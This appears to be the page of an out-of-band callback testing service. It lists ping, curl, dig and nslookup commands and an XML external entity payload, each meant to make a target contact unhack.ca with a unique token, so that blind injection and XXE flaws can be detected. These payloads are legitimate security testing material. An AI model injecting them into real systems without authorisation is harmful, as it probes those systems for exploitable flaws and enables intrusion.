$ ping -c1 -p 00ca4e1f4bb7d91217d20c34a8ee4a00 unhack.ca
 

$ curl http://unhack.ca/p/ca4e1f4bb7d91217d20c34a8ee4a
 

$ dig ca4e1f4bb7d91217d20c34a8ee4a @unhack.ca
 

$ dig ca4e1f4bb7d91217d20c34a8ee4a.ns.unhack.ca
 

C:\> nslookup ca4e1f4bb7d91217d20c34a8ee4a unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ca4e1f4bb7d91217d20c34a8ee4a">]>
    <foo>&xxe;</foo>